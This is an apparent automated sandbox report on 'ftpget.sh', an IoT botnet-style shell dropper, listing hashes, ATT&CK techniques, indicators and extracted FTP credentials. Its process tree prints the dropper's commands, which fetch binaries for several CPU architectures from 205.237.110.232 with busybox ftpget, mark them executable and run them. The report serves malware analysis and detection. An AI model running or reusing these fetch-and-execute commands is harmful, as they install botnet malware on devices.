ec6036d456f112cf7cdc3b35ef7a785a1018edad816dcfb36f46e03f7029d6a5

Analysis

max time kernel
148s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/07/2026, 00:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ftpget.sh
Size 594B
Sample260722-alts3abl2t
SHA256 ec6036d456f112cf7cdc3b35ef7a785a1018edad816dcfb36f46e03f7029d6a5
MD5 41f5406784269317e061d3540390925c
SHA1 0c1c900ad7309cba7c98a99d10a655c7a70d549b
SHA512 5f5f3e8e9fd23ae4406733956552e0e172ac4c86631045e3200c963a4ef810615ce05722ccc7e13c285b21346a6429bfbae70da5be9f577fe56a905f831940fc
TLSH
T1E6F0FFD1F2A607F3CFCE9D5BEB07496D705A72CA2A174FD82C99A159D3706C6F46000A
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery

Malware Config

Extracted

Credentials

Protocol
ftp
Host
205.237.110.232
Port
21
Username
anonymous
Password
busybox@

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
772	busybox
776	busybox
726	busybox
760	busybox
766	busybox

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/arm	727	ftpget.sh
/tmp/arm5	761	ftpget.sh
/tmp/arm7	767	ftpget.sh
/tmp/mips	773	ftpget.sh
/tmp/mipsel	777	ftpget.sh

Unexpected DNS network traffic destination 4 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	1.0.0.1
Destination IP	1.0.0.1
Destination IP	1.0.0.1
Destination IP	1.0.0.1

Enumerates active TCP sockets 1 TTPs 2 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	arm5
File opened for reading	/proc/net/tcp	arm7

Reads system routing table 1 TTPs 3 IoCs

Gets active network interfaces from /proc virtual filesystem.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	arm
File opened for reading	/proc/net/route	arm5
File opened for reading	/proc/net/route	arm7

Changes its process name 3 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	jiproxy.so	727	arm
Changes the process name, possibly in an attempt to hide itself	jiproxy.so	761	arm5
Changes the process name, possibly in an attempt to hide itself	jiproxy.so	767	arm7

Reads system network configuration 1 TTPs 5 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	arm5
File opened for reading	/proc/net/route	arm5
File opened for reading	/proc/net/tcp	arm7
File opened for reading	/proc/net/route	arm7
File opened for reading	/proc/net/route	arm

Reads runtime system information 45 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/764/fd	arm7
File opened for reading	/proc/587/fd	arm5
File opened for reading	/proc/644/fd	arm5
File opened for reading	/proc/287/fd	arm7
File opened for reading	/proc/291/fd	arm5
File opened for reading	/proc/659/fd	arm5
File opened for reading	/proc/289/fd	arm7
File opened for reading	/proc/581/fd	arm7
File opened for reading	/proc/763/fd	arm7
File opened for reading	/proc/287/fd	arm5
File opened for reading	/proc/312/fd	arm5
File opened for reading	/proc/321/fd	arm5
File opened for reading	/proc/324/fd	arm5
File opened for reading	/proc/566/fd	arm5
File opened for reading	/proc/579/fd	arm5
File opened for reading	/proc/312/fd	arm7
File opened for reading	/proc/644/fd	arm7
File opened for reading	/proc/143/fd	arm5
File opened for reading	/proc/167/fd	arm5
File opened for reading	/proc/634/fd	arm5
File opened for reading	/proc/143/fd	arm7
File opened for reading	/proc/291/fd	arm7
File opened for reading	/proc/301/fd	arm7
File opened for reading	/proc/314/fd	arm5
File opened for reading	/proc/566/fd	arm7
File opened for reading	/proc/586/fd	arm7
File opened for reading	/proc/634/fd	arm7
File opened for reading	/proc/659/fd	arm7
File opened for reading	/proc/306/fd	arm5
File opened for reading	/proc/1/fd	arm7
File opened for reading	/proc/314/fd	arm7
File opened for reading	/proc/321/fd	arm7
File opened for reading	/proc/586/fd	arm5
File opened for reading	/proc/167/fd	arm7
File opened for reading	/proc/226/fd	arm7
File opened for reading	/proc/1/fd	arm5
File opened for reading	/proc/289/fd	arm5
File opened for reading	/proc/306/fd	arm7
File opened for reading	/proc/579/fd	arm7
File opened for reading	/proc/587/fd	arm7
File opened for reading	/proc/226/fd	arm5
File opened for reading	/proc/301/fd	arm5
File opened for reading	/proc/581/fd	arm5
File opened for reading	/proc/728/fd	arm5
File opened for reading	/proc/324/fd	arm7

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
777	mipsel
654	rm
769	busybox
773	mips
775	busybox

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/mipsel	busybox
File opened for modification	/tmp/arm	busybox
File opened for modification	/tmp/arm5	busybox
File opened for modification	/tmp/arm7	busybox
File opened for modification	/tmp/mips	busybox

/tmp/ftpget.sh
/tmp/ftpget.sh
1⤵
- Executes dropped EXE
PID:644
- /bin/rm
  rm -rf arm4
  2⤵
  PID:646
- /bin/rm
  rm -rf arm5
  2⤵
  PID:647
- /bin/rm
  rm -rf arm6
  2⤵
  PID:649
- /bin/rm
  rm -rf arm7
  2⤵
  PID:652
- /bin/rm
  rm -rf mips
  2⤵
  - System Network Configuration Discovery
  PID:654
- /bin/rm
  rm -rf mpsl
  2⤵
  PID:657
- /bin/rm
  rm -rf arc
  2⤵
  PID:660
- /bin/rm
  rm -rf aarch64
  2⤵
  PID:664
- /bin/busybox
  /bin/busybox ftpget 205.237.110.232 arm arm
  2⤵
  - Writes file to tmp directory
  PID:669
- /bin/busybox
  /bin/busybox chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:726
- /tmp/arm
  ./arm telnet.ftpget
  2⤵
  - Reads system routing table
  - Changes its process name
  - Reads system network configuration
  PID:727
- /bin/busybox
  /bin/busybox ftpget 205.237.110.232 arm5 arm5
  2⤵
  - Writes file to tmp directory
  PID:729
- /bin/busybox
  /bin/busybox chmod +x arm5
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/arm5
  ./arm5 telnet.ftpget
  2⤵
  - Enumerates active TCP sockets
  - Reads system routing table
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:761
- /bin/busybox
  /bin/busybox ftpget 205.237.110.232 arm7 arm7
  2⤵
  - Writes file to tmp directory
  PID:765
- /bin/busybox
  /bin/busybox chmod +x arm7
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/arm7
  ./arm7 telnet.ftpget
  2⤵
  - Enumerates active TCP sockets
  - Reads system routing table
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:767
- /bin/busybox
  /bin/busybox ftpget 205.237.110.232 mips mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:769
- /bin/busybox
  /bin/busybox chmod +x mips
  2⤵
  - File and Directory Permissions Modification
  PID:772
- /tmp/mips
  ./mips telnet.ftpget
  2⤵
  - System Network Configuration Discovery
  PID:773
- /bin/busybox
  /bin/busybox ftpget 205.237.110.232 mipsel mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:775
- /bin/busybox
  /bin/busybox chmod +x mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/mipsel
  ./mipsel telnet.ftpget
  2⤵
  - System Network Configuration Discovery
  PID:777

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

arm

Path /tmp/arm
Size 122KB
SHA256 7247db5cefb311a3315946beb72f6f4469fef639d80541322d7b5f96b940d2ad
MD5 88a5d8101cffa7aea41819d59ae2826f
SHA1 f13ed01e17fdd05e855118ff1ffa4a0605a80958
SHA512 0f475db0bfb0b6b27f369dcb15af7cc29d41aa70546cde4193be80db9967736bbd1c02d4d9660dde8449079ac9ff99a8082737afc5805989ecea1b8662350877
SSDEEP 1536:vhEcYGQZClzTn9pFb2Ye94VSDbZTqyA5UayOGkENiFcRHlKnwywFB8jRldLxohqT:vhEcQaP/FbO40deyAS/MS4tb
TLSH
T137C30845FC509B13CAC652BBFF4E428D7B261758E3EE720399256F65378B85B0E3A042
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm5

Path /tmp/arm5
Size 118KB
SHA256 721d764d2d1985eefb42fee9e1e2f05d4f4f35bbec216b952cdad74b0ac90cd1
MD5 695ea7aa314c4478a06aa48945bfd561
SHA1 b2ca1aebb0c04a794ccc69397b59f1bfb4d4109e
SHA512 7b4e21c6796a62c22f03ccde04aa27249c0fe97400351ec851bc76da5ed3d097ec0bb855f2c53058ce98a5b7e95fe8b96c1409445830751aeb027cc752bc5ddb
SSDEEP 1536:dqtcHkQ2uce3J5M2rj74VSfqTaHBQK4ayOqONdESzFppluZwywYZMLttj6D+3tlg:dqtchDZ5MO44qsBQ14+SZpVr7Y
TLSH
T136C30845FC509B12C6C255BBFF4E828D7B261758E3EE72039D256F64378B86B0E3A042
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm7

Path /tmp/arm7
Size 79KB
SHA256 07b8ca62d5b394842a09e05d06fa833d51504b69b1085eec49732e65594e5392
MD5 c280f34f09ec095454314dca110690aa
SHA1 903065380ed7e158ebe84495297e6f87e5c2acc2
SHA512 caeb4e219e89844b794710f34dd663e0e737bb5fec417963d8d32603b4f8575335a9059728e126fbf871765e5e584021509f6877d07573901647377e4b1c713f
SSDEEP 1536:jxnytSW7vJjGMPCKafzCkh61vo5ZlwViiy040eqC8ZXYgVRtX:UMWcMPCKafzCkh61hO040eqC8httX
TLSH
T1A5831859F9406F15E5D625BAFF0F414933634B6CE3EE7202AE245B2523CA91B0F7B406
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mips

Path /tmp/mips
Size 162KB
SHA256 9697a161278f262022eb0cd80ac97e2b83349f79990fd6547d452d40cd422969
MD5 a2f8224a60a5c8e35311cc1bf08ae873
SHA1 9a15d2ea07c63db9ca7fca4e715d1f970fce7b81
SHA512 4426d4264469bc137cc974b122117bae946130331b1cbfd4034936bb4670edb1e23e5f1120586b06939b9368bd79c882caab260bce7c5162518f6041cb8d8598
SSDEEP 1536:vS2crQAB/bF1X+Cw3taQG6wOkL21vYs1ReKF04AyQoIqgT8F7muXvu+xR5Sm:vM31XAdaX6wOkLQvYs1W4AYB7hXvu65/
TLSH
T11FF3875E2E228F6EF67C873147F74A24976923D623E1D684E2ACC1142F2025E545FBBC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mipsel

Path /tmp/mipsel
Size 164KB
SHA256 96f31f83928d686ac340769de5724dc5046afa568f92bd28dd9afc0f62c506a6
MD5 9df5e10bc9031f224ef0fbbfe5589539
SHA1 75ac31bf33fe8bc01e0b8549e0e07e6876fc681d
SHA512 4fae254dfcd4ede7fb1ec4a0b132c07ddcffd26a14c11817ec5195f65615d612b392a13232d03f9e3a097dcb469d321e23d6b88dce017464e86791c9274797ac
SSDEEP 1536:y7bF7LFThOe26U8ZarGKtuJr4d4DmZE515ybaJooURhom0Xpjskgx2WvCsnnDgyX:yvFHPOFb8X4mXEbacaZm2s/nD7klgF
TLSH
T1A9F3D80AAF510EBBDC6FDE3706E90A4639CC944722A43B753674D528F54E90F4AE3C68
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads